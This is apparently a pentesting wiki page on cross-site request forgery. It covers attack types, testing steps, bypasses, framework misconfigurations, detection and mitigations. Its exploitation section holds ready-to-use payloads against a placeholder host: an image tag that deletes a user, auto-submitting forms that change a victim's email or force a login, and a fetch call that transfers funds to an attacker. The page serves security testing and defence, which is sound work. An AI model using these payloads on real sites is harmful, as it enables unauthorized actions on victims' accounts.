Cross-Site Request Forgery (CSRF)#
Description#
CSRF is an attack that tricks an authenticated user’s browser into sending a forged, state-changing request to a target application without their knowledge or consent. Because the browser automatically attaches session cookies to requests, the server can’t distinguish a legitimate user action from a request silently triggered by a malicious page the victim happened to visit while logged in.
Fundamentals — Types of CSRF Attacks#
- Classic Form-Based CSRF (POST)
- Auto-submitting HTML forms hosted on an attacker page trigger state-changing POST requests using the victim’s cookies.
- GET-Based CSRF
- State-changing actions mistakenly exposed via GET, exploitable with a single
<img>or<iframe>tag — no user interaction needed beyond page load.
- State-changing actions mistakenly exposed via GET, exploitable with a single
- JSON/API CSRF
- Exploits endpoints that accept
Content-Type: application/json(ortext/plainmislabeled as JSON) without token validation, often chained with CORS/content-type confusion.
- Exploits endpoints that accept
- Login CSRF
- Forces a victim to log into the attacker’s account on a target site, so subsequent actions (e.g., saved searches, uploaded data) are attributable to/captured by the attacker.
- CORS Misconfiguration + CSRF
- Combines a CORS misconfiguration (
Access-Control-Allow-Origin: *+Access-Control-Allow-Credentials: true) with CSRF to not just trigger an action but also read the response, turning CSRF into full account takeover territory.
- Combines a CORS misconfiguration (
- Click-Based / UI-Driven CSRF
- Requires a click (e.g., an auto-submit button disguised as something else) — often combined with clickjacking (
<iframe>overlay) to mask intent.
- Requires a click (e.g., an auto-submit button disguised as something else) — often combined with clickjacking (
Requirements for Successful CSRF#
A CSRF attack is generally possible only when all of the following conditions are met:
- The victim is authenticated to the target application.
- Authentication relies on automatically sent credentials (cookies, client certificates, NTLM, etc.).
- A state-changing action is performed without proper CSRF protection.
- The attacker can cause the victim’s browser to send a crafted request.
- The application does not properly validate anti-CSRF tokens, Origin, or Referer headers.
Attack Surface (Injection Points)#
- State-changing actions without CSRF token:
- Update email/password
- Transfer funds
- Delete account or change role
- Forms lacking CSRF tokens
- GET or POST requests with session cookies but no token
- JSON API endpoints using session cookies
- Admin actions, banking, or settings pages
- Misconfigured
SameSiteor CORS headers
Testing Parameters#
- Try submitting requests from another origin
- Remove or tamper with the CSRF token
- Replay request with
OriginandReferermodified/absent - Send requests with:
Content-Type: application/jsontext/plainmultipart/form-data
- Attempt attack via:
<img><iframe><script>- Form with auto-submit
- Common Headers to Inspect
- Origin
- Referer
- Cookie
- Set-Cookie
- SameSite
- Access-Control-Allow-Origin
- Access-Control-Allow-Credentials
- X-CSRF-Token
- X-Requested-With
Exploitation and Bypassing Defenses#
1. Basic GET CSRF#
Payload:
<img src="<https://target.com/delete_user?id=123>">2. Auto-Submitting Form (POST)#
Payload:
<form action="<https://target.com/update_email>" method="POST">
<input type="hidden" name="email" value="[email protected]">
</form>
<script>document.forms[0].submit();</script>3. JSON Body CSRF#
Conditions:
Content-Type: application/json- Server accepts cookies for auth
- No CSRF protection in headers
- Depends on CORS misconfig + acceptance of “simple” content types
Payload:
{
"email": "[email protected]"
}Headers:
POST /api/profile/update HTTP/1.1
Host: target.com
Content-Type: application/json
Cookie: sessionid=abc1234. CORS + CSRF Attack#
Exploit (in attacker’s domain):
fetch("<https://target.com/api/transfer>", {
method: "POST",
credentials: "include",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ amount: 1000, to: "attacker" })
});5. Login CSRF#
Force the victim to authenticate into the attacker’s account.
<form action="<https://target.com/login>" method="POST">
<input type="hidden" name="username" value="attacker">
<input type="hidden" name="password" value="password123">
</form>
<script>document.forms[0].submit();</script>If successful, subsequent actions performed by the victim are associated with the attacker’s account.
Other Vectors#
<iframe src="<https://target.com/delete_account>"><script src="<https://target.com/delete_user?id=1>">- Use different
Content-Typevalues to bypass validation:application/x-www-form-urlencodedmultipart/form-datatext/plain
Bypasses & Variations#
- JSON CSRF (no CSRF token, uses cookies)
- Content-Type confusion bypass
- CORS misconfiguration + credentials
- Omit
OriginorRefererheaders (may bypass naive checks) - Replay with removed/invalid/missing token
- Token leakage via Referer: if the CSRF token appears in a GET URL, it can leak to third parties via the
Refererheader. - Method override bypass: using
X-HTTP-Method-Overrideheader to send a GET as a POST/PUT/DELETE where only GET is protected. - Flash/legacy no-CORS tricks: older apps sometimes allow multipart form submission to bypass strict JSON-only parsers, re-enabling classic form-based CSRF on endpoints “protected” by content-type checks.
- SameSite bypasses (Lax+GET behavior, sibling subdomains, browser-specific behavior)
Advance Attack Scenarios#
- CSRF Chained with Stored XSS: Use a stored XSS to programmatically read the CSRF token from the DOM and include it in a forged request, defeating token-based protection entirely.
- CSRF Token Fixation: If the token isn’t rotated after login or is set via a value the attacker can predict/plant (e.g., cookie-based double-submit without proper binding), the attacker pre-sets a known token and forges valid requests.
- Double-Submit Cookie Bypass: When the CSRF defense compares a cookie value to a request parameter without server-side session binding, an attacker who can set cookies on the victim’s browser (via a subdomain XSS or cookie injection) can forge both sides.
- CSRF via Clickjacking Overlay: Wrap a legitimate-looking button in an invisible iframe pointing to the sensitive action, tricking the victim into “clicking” a hidden auto-submit trigger.
- CSRF on Multi-Step Actions (Chained Requests): When a “wizard”-style flow only protects the final step, forge just that last request while relying on the victim’s already-established earlier session state.
- Login CSRF Leading to Data Exfiltration: Force login as attacker’s account, then have the victim unknowingly upload/save sensitive data into the attacker-controlled account.
- Client-Side CSRF (JavaScript CSRF): Single Page Applications (SPAs) may unintentionally construct requests using attacker-controlled URL fragments, query parameters, or postMessage data. Even though the server validates CSRF tokens correctly, vulnerable client-side JavaScript can still trigger authenticated actions.
Framework-Specific Scenarios#
- Django: Missing
{% csrf_token %}in a form, or@csrf_exemptleft on a state-changing view by mistake;CSRF_TRUSTED_ORIGINSmisconfigured to include wildcard/staging subdomains. - Spring (Spring Security): CSRF protection disabled globally (
http.csrf().disable()) for “API convenience,” inadvertently exposing session-cookie-authenticated endpoints. - Ruby on Rails:
protect_from_forgeryset to:null_sessionor skipped viaskip_before_action :verify_authenticity_tokenon specific controllers handling sensitive actions. - Express.js (csurf/csrf-csrf middleware): Token validation middleware mounted after route handlers, or excluded on JSON API routes under the assumption “APIs don’t need CSRF protection” (false when cookie-based auth is used).
- **ASP.NET
:**
[ValidateAntiForgeryToken]attribute missing on a POST action, or anti-forgery cookie not scoped correctly across subdomains. - Laravel: Routes added to
VerifyCsrfToken’s$exceptarray for testing and never removed before production.
Detection Techniques#
Manual Detection#
- Inspect forms/requests for the presence and validation of a CSRF token.
- Strip or tamper with the token and resend — a
200 OKor success response indicates no server-side validation. - Change request
Content-Type(JSON → form-urlencoded, etc.) and observe whether the action still succeeds without a token. - Check whether
Origin/Refererare validated by omitting or spoofing them. - Build a standalone HTML PoC page and load it in a browser with an active victim session to confirm real-world exploitability end-to-end.
API Testing Tips#
- Check whether cookie-based API endpoints enforce CSRF protection.
- Test endpoints accepting both JSON and form-urlencoded bodies.
- Try removing custom CSRF headers.
- Test mobile/web API endpoints separately, as protections often differ.
- Verify whether bearer-token APIs are actually vulnerable (pure Authorization header-based APIs are generally not affected by CSRF).
Automated Detection#
- Burp Suite: Use the built-in “Generate CSRF PoC” feature on any request, plus Burp Scanner’s CSRF checks.
- OWASP ZAP: Automated active scan rules flag missing/weak anti-CSRF tokens.
- Custom scripts to crawl state-changing endpoints and flag any accepting requests without a valid, session-bound token.
Impact#
- Perform unauthorized actions on behalf of authenticated users.
- Modify account information such as email addresses, passwords, or profile details.
- Transfer funds or abuse business logic in financial applications.
- Change security settings, including MFA, recovery email, or notification preferences.
- Perform privileged administrative actions if an administrator is targeted.
- Force victims to interact with attacker-controlled accounts through Login CSRF.
- Trigger sensitive operations such as account deletion, order placement, or subscription changes.
- Lead to account compromise, financial loss, unauthorized access, and business process abuse depending on the affected functionality.
Common Anti-CSRF Defenses#
Applications commonly defend against CSRF using one or more of the following:
- Synchronizer (stateful) CSRF tokens
- Double-submit cookie pattern
- SameSite cookie attribute
- Origin header validation
- Referer header validation
- Custom request headers (e.g.,
X-CSRF-Token,X-Requested-With) - User interaction requirements (password confirmation, CAPTCHA, MFA)
Mitigations#
Token-Based Protection#
- Use CSRF tokens in forms and headers
- Bind token to session, rotate frequently
- Verify token on server-side for all state-changing requests
Origin/Referer Validation#
- Strictly check
OriginandRefererheaders - Reject requests without expected values
Secure Cookie Settings#
- Use
SameSite=LaxorStrictfor session cookies - Set
HttpOnlyandSecureflags
Server-Side Hardening#
- Never perform sensitive actions via GET
- Use POST or other non-simple methods
- Require re-authentication for critical actions
CORS Configuration#
- Do not allow wildcard origins () with credentials
- Use strict
Access-Control-Allow-Originper origin - Disable
Access-Control-Allow-Credentialsunless absolutely needed
Additional Defenses#
- CAPTCHA or re-auth for critical flows
- Per-request nonce in headers for APIs
- OAuth/OIDC login flows should always validate the
stateparameter to prevent CSRF during authorization.
Tools#
- Burp Suite (Manual & CSRF PoC Generator)
- OWASP ZAP (Active Scan CSRF rules)
- OWASP CSRFTester
- Postman / curl for crafting test requests
- Web browser DevTools (modify request headers)
Good To Read#
HackerOne / Real-World Reports
- https://hackerone.com/reports/1626356
- https://hackerone.com/reports/2736979
- https://hackerone.com/reports/1727221
References#
https://medium.com/@yadav-ajay/cross-site-request-forgery-csrf-64066cddbfb3
https://medium.com/@raia39499/a-deep-dive-into-logout-csrf-vulnerability-e40e1fa7f465
https://owasp.org/www-community/attacks/csrf
https://www.cobalt.io/blog/a-pentesters-guide-to-cross-site-request-forgery-csrf
https://portswigger.net/web-security/csrf
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Cross-Site%20Request%20Forgery
https://github.com/tuhin1729/Bug-Bounty-Methodology/blob/main/CSRF.md
https://bugbase.ai/blog/how-to-bypass-csrf-protection
https://book.hacktricks.xyz/pentesting-web/csrf-cross-site-request-forgery
(Mindmap: To be included later)